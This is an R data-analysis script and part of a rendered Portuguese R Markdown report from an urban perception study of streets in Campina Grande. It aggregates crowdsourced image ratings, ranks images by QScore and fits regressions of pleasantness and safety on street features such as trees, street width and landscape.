#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question- G2
by_image <- group_by(dadosg2, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData2 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 200),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G3
by_image <- group_by(dadosg3, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData3 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 5),
q1_left = geraValores(question1__left_side, "1l", desvios, 5),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 5),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 5),
q2_left = geraValores(question2__left_side, "2l", desvios, 5),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 5),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 5),
q3_left = geraValores(question3__left_side, "3l", desvios, 5),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 5)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G4
by_image <- group_by(dadosg4, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE))
groupedData4 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 10)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Grouping by image and question - G5
by_image <- group_by(dadosg5, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(your_answer_is, na.rm = TRUE))
groupedData5 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 20),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(your_answer_is, "2", desvios, 20)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Grouping by image and question - G6
by_image <- group_by(dadosg6, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData6 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 1),
q1_left = geraValores(question1__left_side, "1l", desvios, 1),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 1),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Grouping by image and question - G7
by_image <- group_by(dadosg7, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData7 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 3),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 1),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 1),
q3_left = geraValores(question3__left_side, "3l", desvios, 1),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 1)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G8
by_image <- group_by(dadosg8, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2_right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3_right_side, na.rm = TRUE)
)
groupedData8 <- summarise(by_image,
count = n(),
q1 = Mode(question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2_right_side, desvios$sd2l, desvios$sd2r, 40),
q2_left = geraValores(question2__left_side, "2l", desvios, 20),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2_right_side, "2r", desvios, 20),
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
q3 = somaValores(question3__left_side, question3_right_side, desvios$sd3l, desvios$sd3r, 40),
q3_left = geraValores(question3__left_side, "3l", desvios, 20),
q3_right = geraValores(question3_right_side, "3r", desvios, 20)
)
#Grouping by image and question - G9
by_image <- group_by(dadosg9, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE) )
groupedData9 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 200),
q1_left = geraValores(question1__left_side, "1l", desvios, 200),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 200)
#sdq1_right = sd(question1__right_side, na.rm = TRUE)
)
#Grouping by image and question - G10
by_image <- group_by(dadosg10, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData10 <- summarise(by_image,
count = n(),
q1 = Mode(x = question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 50),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 1)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G11
by_image <- group_by(dadosg11, image_url)
desvios <- summarise (by_image,
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData11 <- summarise(by_image,
count = n(),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = somaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 80),
q3_left = geraValores(question3__left_side, "3l", desvios, 40),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 40)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G12
by_image <- group_by(dadosg12, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData12 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios,10)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G13
by_image <- group_by(dadosg13, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData13 <- summarise(by_image,
count = n(),
q1 = somaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 30),
q1_left = geraValores(question1__left_side, "1l", desvios, 10),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 15),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Renaming columns according to a fixed id
renomeiaGrupos <- function(dadosPorGrupo, listaColunas, idGrupo) {
for (coluna in listaColunas){
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- paste(idGrupo, coluna, sep="")
}
return(dadosPorGrupo)
}
renomeiaGrupos2 <- function(dadosPorGrupo, listaColunas, novosNomes) {
for (i in seq(1, length(listaColunas))){
coluna = listaColunas[i]
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- novosNomes[i]
}
return(dadosPorGrupo)
}
groupedData1 <- renomeiaGrupos(groupedData1, c("q2_left", "q2_right", "count"), "g1")
groupedData2 <- renomeiaGrupos(groupedData2, c("q2_left", "q2_right", "count"), "g2")
groupedData3 <- renomeiaGrupos(groupedData3, c("q1_left", "q1_right","q2_left", "q2_right","q3_left", "q3_right", "count"), "g3")
groupedData4 <- renomeiaGrupos(groupedData4, c("count"), "g4")
groupedData5 <- renomeiaGrupos(groupedData5, c("count"), "g5")
groupedData6 <- renomeiaGrupos(groupedData6, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g6")
groupedData7 <- renomeiaGrupos(groupedData7, c("q3_left", "q3_right", "count"), "g7")
groupedData8 <- renomeiaGrupos(groupedData8, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g8")
groupedData9 <- renomeiaGrupos(groupedData9, c("q1_left", "q1_right", "count"), "g9")
groupedData10 <- renomeiaGrupos(groupedData10, c("count"), "g10")
groupedData11 <- renomeiaGrupos(groupedData11, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g11")
groupedData12 <- renomeiaGrupos(groupedData12, c("q2_left", "q2_right", "count"), "g12")
groupedData13 <- renomeiaGrupos(groupedData13, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g13")
groupedData1 <- renomeiaGrupos2(groupedData1, c("q1", "q2", "q3"), c("street_wid", "sidewalk_wid", "public_art"))
groupedData2 <- renomeiaGrupos2(groupedData2, c("q1", "q2", "q3"), c("mov_cars", "park_cars", "mov_ciclyst"))
groupedData3 <- renomeiaGrupos2(groupedData3, c("q1", "q2", "q3"), c("debris", "pavement", "landscape"))
groupedData4 <- renomeiaGrupos2(groupedData4, c("q1", "q2"), c("courtyards", "major_landsc"))
groupedData5 <- renomeiaGrupos2(groupedData5, c("q1", "q2"), c("build_ident", "build_nrectan"))
groupedData6 <- renomeiaGrupos2(groupedData6, c("q1", "q2"), c("prop_street_wall", "prop_wind"))
groupedData7 <- renomeiaGrupos2(groupedData7, c("q1", "q2", "q3"), c("long_sight", "prop_sky_ahead", "prop_sky_across"))
groupedData8 <- renomeiaGrupos2(groupedData8, c("q1", "q2", "q3"), c("graffiti", "trees", "small_planters"))
groupedData9 <- renomeiaGrupos2(groupedData9, c("q1"), c("build_height"))
groupedData10 <- renomeiaGrupos2(groupedData10, c("q1", "q2", "q3"), c("build_diff_ages", "diff_build", "prop_hist_build"))
groupedData11 <- renomeiaGrupos2(groupedData11, c("q2", "q3"), c("outdoor_table", "street_furnit"))
groupedData12 <- renomeiaGrupos2(groupedData12, c("q1", "q2", "q3"), c("basic_col", "lights", "accent_col"))
groupedData13 <- renomeiaGrupos2(groupedData13, c("q1","q2"), c("people", "prop_active_use"))
extract_list_of_urban_features_general = function(summary_info, all_estimates, all_pvalues){
estimates <- summary_info$coef[,"Estimate"]
pvalues <- summary_info$coef[,"Pr(>|t|)"]
for (column in names(estimates)) {
all_estimates[[column]] <- append(all_estimates[[column]], estimates[[column]])
all_pvalues[[column]] <- append(all_pvalues[[column]], pvalues[[column]])
}
return (list(all_estimates, all_pvalues))
}
#Combining all street features
combineFeaturesAndTestRegression <- function(dataset){
colnames(dataset)[colnames(dataset) == "V2"] <- "image_url"
temp <- merge(groupedData1, dataset, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData2, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData3, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData4, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData5, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData6, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData7, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData8, by.x="image_url", by.y="image_url")
temp<- merge(temp, groupedData9, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData10, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData11, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData12, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData13, by.x="image_url", by.y="image_url")
temp1 <- lapply(as.character(temp$image_url), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][6])
neigs1 <- unlist(lapply(temp1, '[[', 1))
temp$bairro <- neigs1
temp <- arrange(temp, V3) %>% mutate(rank = 1:n())
temp$centro <- 0
temp$catole <- 0
temp$liberdade <- 0
temp$centro[temp$bairro == "centro"] <- 1
temp$catole[temp$bairro == "catole"] <- 1
temp$liberdade[temp$bairro == "liberdade"] <- 1
temp$graffiti <- factor(temp$graffiti, levels = c("Yes", "No"))
temp$graffiti <- relevel(temp$graffiti, "No")
regGeneral <- lm(rank ~ street_wid + mov_cars + park_cars + mov_ciclyst + landscape + build_ident + trees + log2(build_height+1) + people + centro + catole + liberdade + diff_build + graffiti, na.action = na.exclude, data = temp)
print(summary(regGeneral))
return(summary(regGeneral))
}
for (folder in c("hom15_mul60/", "hom40_mul60/", "hom95_mul95/", "hom60_mul15/", "jovem15_adulto60/", "jovem40_adulto60/", "jovem60_adulto15/", "jovem60_adulto40/", "jovem80_adulto80/", "media15_baixa60/", "media40_baixa60/", "media60_baixa15/", "media60_baixa40/", "jovem60_adulto60/", "hom60_mul60/", "media60_baixa60/")){
if(grepl("jovem", folder)){
g1 <- "Jovem"
g2 <- "Adulto"
}else if(grepl("media", folder)){
g1 <- "Media"
g2 <- "Baixa"
}else{
g1 <- "masculino" #"Masculino"
g2 <- "feminino" #"Feminino"
}
all_diff_m <- list.files(path = folder, pattern = "allDiff*_*")
all_original <- read.table("../all100/all_ordenado.dat")
ag_orig <- filter(all_original, V1 != "seguro?")
seg_orig <- filter(all_original, V1 == "seguro?")
all_means_ag_g1 <- data.frame()
all_means_seg_g1 <- data.frame()
all_estimates_a <- list("(Intercept)"=c(), street_wid=c(), mov_cars=c(), park_cars=c(), trees=c(), mov_ciclyst=c(), landscape=c(), build_ident=c(), "log2(build_height + 1)"=c(), diff_build=c(), people=c(), centro=c(), catole=c(), graffitiYes=c())
all_pvalues_a <- list("(Intercept)"=c(), street_wid=c(), mov_cars=c(), park_cars=c(), trees=c(), mov_ciclyst=c(), landscape=c(), build_ident=c(), "log2(build_height + 1)"=c(), diff_build=c(), people=c(), graffitiYes=c(), centro=c(), catole=c())
all_estimates_s <- list("(Intercept)"=c(), street_wid=c(), mov_cars=c(), park_cars=c(), trees=c(), mov_ciclyst=c(), landscape=c(), build_ident=c(), "log2(build_height + 1)"=c(), diff_build=c(), people=c(), centro=c(), catole=c(), graffitiYes=c())
all_pvalues_s <- list("(Intercept)"=c(), street_wid=c(), mov_cars=c(), park_cars=c(), trees=c(), mov_ciclyst=c(), landscape=c(), build_ident=c(), "log2(build_height + 1)"=c(), diff_build=c(), people=c(), centro=c(), catole=c(), graffitiYes=c())
for (i in seq(1,100)){
print(paste("########### Iteration ", i))
#General ranking removing men
current_file <- paste(folder, all_diff_m[i], sep="")
data <- read.table(current_file)
seg_g1 <- filter(data, V1 == "seguro?")
ag_g1 <- filter(data, V1 != "seguro?")
#Extracting features for current regression and saving them!
sum_agrad <- combineFeaturesAndTestRegression(select(ag_g1, V1, V2, V3))
sum_seg <- combineFeaturesAndTestRegression(select(seg_g1, V1, V2, V3))
partial_data <- extract_list_of_urban_features_general(sum_agrad, all_estimates_a, all_pvalues_a)
all_estimates_a <- partial_data[[1]]
all_pvalues_a <- partial_data[[2]]
partial_data <- extract_list_of_urban_features_general(sum_seg, all_estimates_s, all_pvalues_s)
all_estimates_s <- partial_data[[1]]
all_pvalues_s <- partial_data[[2]]
}
sink(paste(folder, "regressions.dat", sep=""), append=TRUE)
print(paste(">>>>> Groups ", g1, g2, folder))
for (column in names(all_estimates_a)) {
print(column)
print( paste("#### Agrad Values", column, mean(all_estimates_a[[column]], na.rm = TRUE)) )
print( paste("#### Agrad PValues", column, mean(all_pvalues_a[[column]], na.rm = TRUE)) )
print( paste("#### Agrad PValues", column, sum(all_pvalues_a[[column]] < 0.05, na.rm = TRUE) / length(which(!is.na(all_pvalues_a[[column]]))) ) )
}
for (column in names(all_estimates_s)) {
print( paste("#### Seg Values", column, mean(all_estimates_s[[column]], na.rm = TRUE)) )
print( paste("#### Seg PValues", column, mean(all_pvalues_s[[column]], na.rm = TRUE)) )
print( paste("#### Seg PValues", column, sum(all_pvalues_s[[column]] < 0.05, na.rm = TRUE) / length(which(!is.na(all_pvalues_a[[column]]))) ) )
}
sink()
}
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<h1 class="title toc-ignore">analisaPorRua</h1>
</div>
<p>Os estudos de percepção realizados até o momento têm focado em capturar diversas imagens espalhadas pela cidade, obter as QScores/preferências das pessoas e treinar modelos de mais baixo nível ou alto nível (vide nosso artigo do HT ou o artigo com índice de ceu, verde, etc.) para predizer preferências para novas fotos que ainda não foram avaliadas por pessoas. Com isso surgem alguns pontos a serem considerados:</p>
<ol style="list-style-type: decimal">
<li>Os modelos treinados com estes conjuntos de dados tendem a capturar as tendências médias, o típico presente nos dados. E se pensarmos em analisar outro contexto social, ruas de outros locais ou, ainda, traçar um panorama detalhado de alguma rua?</li>
</ol>
<ul>
<li>O contexto social podemos pensar em lidar capturando preferências dos diferentes segmentos sociais</li>
<li>As ruas de outras cidades podemos pensar em capturar imagens de outras cidades, cujo contexto seja mais parecido com o contexto da cidade que queremos avaliar</li>
<li>E o panorama detalhado da rua? Precisamos ter ideias mais precisas de como são as várias ruas daquela cidade, suas particularidades, para que os modelos treinados com esses dados possam reproduzir mais fielmente as preferências das pessoas sobre aqueles locais. Com essa ideia estamos buscando avaliar as particularidades, ou o que podemos ganhar/perder, pensando em captura de percepções em um nível mais micro em relação à captura de percepção em um nível mais macro.</li>
</ul>
<p>Para isso, foram escolhidas 4 ruas de Campina Grande, 20 fotos por rua (5 pontos da rua x 4 ângulos), para avaliação quanto à questão agradável. 2 dessas ruas apresentaram os pontos de maior divergência de percepção em nossa análise anterior (<NAME> e <NAME>), uma rua apresentou o ponto de maior homogeneidade (Manoel Pereira), porém com notas baixas, e a outra rua é uma rua importante do centro da cidade (Maciel Pinheiro), que tem uma tendência de homogeneidade, com notas boas.</p>
<p>Alguns questionamentos foram inicialmente levantados:</p>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
<li>Olhando a dispersão da rua como um todo, posso tentar dizer algo sobre a rua?</li>
<li>Olhando as variações dos QScores por número/ponto na rua, consigo perceber variações que podem indicar problemas?</li>
<li>Confrontando as variações no QScores com as fotos, podemos apontar problemas/virtudes das ruas?</li>
</ol>
<div id="tamanho-das-amostras-e-comparacao-entre-rankings" class="section level1">
<h1>Tamanho das amostras e comparação entre rankings</h1>
<p>Abaixo temos, primeiramente, uma análise, para determinar o tamanho da amostra para 95% de confiança. Em seguida, temos a comparação do ranking geral com 29 usuários (primeira amostra analisada) com a amostra atual contendo 61 pessoas.</p>
<pre class="r"><code>#Checking sample size
data2 <- read.table("all100/all_ordenado.dat")
data2$sd <- apply(data2[,4:ncol(data2)], 1, sd)
data2$n <- ( 1.96 * data2$sd / 0.2) ** 2 #All QScores
print(">>>> Maior e menor amostra necessária ")</code></pre>
<pre><code>## [1] ">>>> Maior e menor amostra necessária "</code></pre>
<pre class="r"><code>print(max(data2$n))</code></pre>
<pre><code>## [1] 0.5706337</code></pre>
<pre class="r"><code>print(min(data2$n))</code></pre>
<pre><code>## [1] 0.003400078</code></pre>
<pre class="r"><code>#Checking rankings similarity
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
print(tau)
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
data29 <- read.table("29users/all_ordenado.dat")
merged <- merge(select(data29, V2, V3), select(data2, V2, V3), by = "V2")
print(cor.test(merged$V3.x, merged$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: merged$V3.x and merged$V3.y
## z = 9.9463, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.7575949</code></pre>
<pre class="r"><code>print(cor.test(merged$V3.x, merged$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: merged$V3.x and merged$V3.y
## S = 6782, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.920511</code></pre>
<pre class="r"><code>print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(merged$V3.x, merged$V3.y)))</code></pre>
<pre><code>## [1] 1767
## [1] 0.5591772
## [1] ">>>> Kendall Distance 0.559177215189873"</code></pre>
</div>
<div id="impressao-geral-das-ruas" class="section level1">
<h1>Impressão Geral das Ruas</h1>
<div id="ranking-geral" class="section level2">
<h2>Ranking Geral</h2>
<p>Computados os QScores as cinco melhores e cinco piores imagens avaliadas estão apresentadas abaixo juntamente com as marcações dos usuários do porquê as escolheram como melhor ou pior imagem dentre as 4 apresentadas nas tarefas.</p>
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<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_392_22.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_22.jpg 3.544967
</div>
</div>
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_188_203.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_203.jpg 3.506638
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_370_22.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22.jpg 3.480796
</div>
</div>
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_370_315.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_315.jpg 3.45772
</div>
</div>
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_222_135.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_135.jpg 3.41305
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_300_22.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_22.jpg 3.365975
</div>
</div>
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_300_135.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_135.jpg 3.1836
</div>
</div>
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_300_315.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_315.jpg 2.90879
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='/local/david/pybossa_env/campinaPulse/scripts/analise/dadosSet17/percepcaoLocal/agradavel/piores/R._Manoel_Pereira_de_Ara%C3%BAjo_222_22.jpg' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_22.jpg 2.821541
</div>
</div>
</div>
<p>Qualitativamente analisando estas imagens, conforme esperado, percebe-se que vegetação, melhor estado de manutenção e a rua mais larga conduziram a melhores avaliações das imagens. O céu também foi um fator apontado em 2 das 5 fotos e que não foi computado em nossas avaliações anteriores. É importante destacar que a Inácio Marques teve 4 dos 5 melhores, e o outro local foi na Edésio Silva, sendo ambas as ruas tipicamente residenciais.</p>
<p>Para as imagens com pior avaliação, a presença de itens na rua (barracas mal cuidadas, itens velhos, itens de venda, etc.) juntamente com prédios mal cuidados geraram maior desconforto. É importante destacar que os 5 locais com pior avaliação se localizam na Manoel Araújo, uma rua de comércio antiga e pouco cuidada no centro da cidade.</p>
<p>Realizando a análise da regressão dos QScores frente: # de árvores, nota de landscape, largura de rua, largura de calçada e número de prédios com identificadores</p>
<pre class="r"><code>library(texreg)</code></pre>
<pre><code>## Version: 1.35.5
## Date: 2015-07-26
## Author: <NAME> (University of Konstanz)
##
## Please cite the JSS article in your publications -- see citation("texreg").</code></pre>
<pre class="r"><code>input_regressao <- read.csv("input_regressao/regressao-input.csv")
plotRegAndLinear <- function(reg, test){
#http://blog.minitab.com/blog/adventures-in-statistics-2/why-you-need-to-check-your-residual-plots-for-regression-analysis
plot(reg)
plot(test$street_wid, reg$resid)
plot(test$sidewalk_wid, reg$resid)
plot(test$landscape, reg$resid)
plot(test$trees, reg$resid)
plot(test$build_ident, reg$resid)
}
merged <- merge(data2, input_regressao, by.x="V2", by.y="image") %>% do(arrange(., V3)) %>% mutate(rank = 1:n())
reg <- lm(rank ~ street_wid + sidewalk_wid + landscape + trees + build_ident, na.action = na.exclude, data = select(merged, rank, street_wid, sidewalk_wid, landscape, trees, build_ident))#rank ~ .*.
texreg(list(reg), stars = c(0.1, 0.05, 0.01, 0.001), digits=3)</code></pre>
<pre><code>##
## \begin{table}
## \begin{center}
## \begin{tabular}{l c }
## \hline
## & Model 1 \\
## \hline
## (Intercept) & $-20.887^{*}$ \\
## & $(7.915)$ \\
## street\_wid & $0.158$ \\
## & $(0.226)$ \\
## sidewalk\_wid & $1.830^{\cdot}$ \\
## & $(1.069)$ \\
## landscape & $14.096^{***}$ \\
## & $(1.976)$ \\
## trees & $2.082^{\cdot}$ \\
## & $(1.180)$ \\
## build\_ident & $-1.697$ \\
## & $(1.677)$ \\
## \hline
## R$^2$ & 0.645 \\
## Adj. R$^2$ & 0.621 \\
## Num. obs. & 80 \\
## RMSE & 14.304 \\
## \hline
